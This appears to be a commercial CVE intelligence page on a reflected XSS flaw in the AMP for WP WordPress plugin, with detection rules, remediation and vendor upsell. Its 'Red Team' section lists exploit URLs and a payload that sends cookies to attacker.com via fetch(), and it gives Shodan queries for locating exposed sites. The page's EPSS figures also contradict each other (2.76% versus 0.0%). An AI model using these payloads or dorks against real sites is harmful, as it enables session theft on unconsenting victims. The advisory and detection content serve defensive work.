☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 6.1 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-0587

CVE-2024-0587 Cross-Site Scripting in Amp for wp
📅 PUBLISHED: 2024-01-23 06:46 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 2.76%
👁️
2.76% probability
69.0× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.1
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
6.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-0587 is a reflected cross-site scripting (XSS) vulnerability in the AMP for WP – Accelerated Mobile Pages WordPress plugin, affecting all versions up to and including 1.0.92.1. The flaw resides in the disqus_name parameter, where insufficient input sanitization and output escaping on the executed JS file allow unauthenticated attackers to inject arbitrary web scripts. Successful exploitation requires user interaction (e.g., clicking a crafted link), leading to potential session hijacking, credential theft, or defacement within the WordPress ecosystem. The EPSS score is 0.0%, indicating low active exploitation likelihood, but the lack of a confirmed patch elevates risk for unmaintained sites.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. The AMP for WP plugin is widely used to generate Accelerated Mobile Pages, and the flaw affects its JavaScript handling of the disqus_name parameter. No Apache or Nginx server misconfiguration is involved; the issue is purely within the plugin’s code.

CVSS Breakdown & Threat Level

  • CVSS Score: 6.1 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – Unauthenticated.
  • User Interaction: Required (UI:R) – Victim must click a malicious link.
  • Scope: Changed (S:C) – Impact may extend beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited script injection.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the plugin’s popularity in the WordPress ecosystem make it a viable target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s JavaScript file that processes the disqus_name parameter. When a user visits a crafted URL containing a malicious payload in disqus_name, the plugin reflects this input into the page’s JavaScript context without proper sanitization or escaping. This allows an attacker to break out of the intended JavaScript string and execute arbitrary code.

Root Cause: The plugin uses disqus_name directly in a JavaScript variable assignment without encoding or validation. For example, the vulnerable code might look like:

var disqusName = '<?php echo $_GET['disqus_name']; ?>';

An attacker can inject a payload like '; alert('XSS');// to close the string and execute JavaScript.

Attack Flow:

  1. Attacker crafts a malicious URL: https://victim-site.com/?disqus_name=';alert('XSS');//
  2. Victim clicks the link (e.g., via phishing email).
  3. The plugin reflects the payload into the page’s JavaScript.
  4. The injected script executes in the victim’s browser context.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.0.92.1):

// In a PHP file that outputs JavaScript
echo "var disqusName = '" . $_GET['disqus_name'] . "';";

This directly concatenates user input into a JavaScript string without escaping.

Patched Code (Hypothetical):

// Properly escape for JavaScript context
echo "var disqusName = '" . esc_js($_GET['disqus_name']) . "';";

Or using json_encode for safe output:

echo "var disqusName = " . json_encode($_GET['disqus_name']) . ";";

The patch should use WordPress’s esc_js() function or wp_json_encode() to ensure all special characters are escaped.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A WordPress site with AMP for WP plugin version <= 1.0.92.1.
  • Ability to craft and deliver a malicious link.

Exploit Steps:

  1. Identify a target site running the vulnerable plugin.
  2. Craft a payload to execute arbitrary JavaScript. Example:
    https://target-site.com/?disqus_name=';alert(document.cookie);//
    
  3. Encode the payload for reliability (URL encoding):
    https://target-site.com/?disqus_name=%27;alert(document.cookie);//
    
  4. Deliver the link via phishing or social engineering.
  5. Upon victim click, the script executes, stealing cookies or performing actions.

Advanced Payload:

';fetch('https://attacker.com/steal?cookie='+document.cookie);//

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests containing disqus_name with suspicious characters (e.g., single quotes, parentheses, alert, fetch).
  • Use WAF rules to block reflected XSS patterns in query parameters.

Honeypot:

  • Deploy a decoy WordPress site with the vulnerable plugin to capture attacker payloads.

Lab Setup:

  • Use Docker to spin up a vulnerable environment:
    docker run -d -p 8080:80 --name wp-vuln wordpress:latest
    # Install AMP for WP 1.0.92.1 manually
    
  • Test with curl:
    curl "http://localhost:8080/?disqus_name=%27;alert(1);//"
    

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests with disqus_name parameter containing JavaScript payloads (e.g., ';alert, ';fetch, ';document.cookie).
    • Outbound connections to attacker-controlled domains from victim browsers (if payload exfiltrates data).
  • File IOCs:

    • Modified plugin files (though unlikely for reflected XSS).
    • Suspicious entries in WordPress debug logs.
  • Behavioral IOCs:

    • Unexpected JavaScript execution in the context of the AMP for WP plugin.
    • Phishing emails containing links with disqus_name parameter.

Detection Engineering

YARA Rule

rule CVE_2024_0587_Reflected_XSS {
    meta:
        description = "Detects reflected XSS attempts against AMP for WP disqus_name parameter"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-0587"
    strings:
        $payload1 = /disqus_name=[^&]*'[^&]*alert/i
        $payload2 = /disqus_name=[^&]*'[^&]*fetch/i
        $payload3 = /disqus_name=[^&]*'[^&]*document\.cookie/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-0587 Reflected XSS in AMP for WP
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects reflected XSS attempts via disqus_name parameter in AMP for WP plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "disqus_name="
        cs-uri-query|contains|all:
            - "'"
            - "alert"
            - "fetch"
            - "document.cookie"
    condition: selection
falsepositives:
    - Legitimate use of single quotes in disqus_name (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-0587 Reflected XSS in AMP for WP disqus_name"; flow:to_server,established; content:"disqus_name="; http_uri; pcre:"/disqus_name=[^&]*'[^&]*(alert|fetch|document\.cookie)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin if not critical for business operations.
  2. Apply a WAF rule to block requests containing disqus_name with suspicious patterns (e.g., single quotes, JavaScript functions).
  3. Monitor logs for exploitation attempts.

Long-term Fix:

  • The vendor must release a patched version that properly escapes the disqus_name parameter using esc_js() or wp_json_encode().
  • Until a patch is available, consider replacing the plugin with an alternative AMP solution.

Workaround:

  • Add the following to .htaccess to block malicious requests:
    RewriteCond %{QUERY_STRING} disqus_name=.*[';].* [NC]
    RewriteRule .* - [F,L]
    

Valters IT – This report is provided as-is for educational and defensive purposes. Always test mitigations in a staging environment before production deployment.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"amp-for-wp"
http.html:"accelerated-mobile-pages"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-0587/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.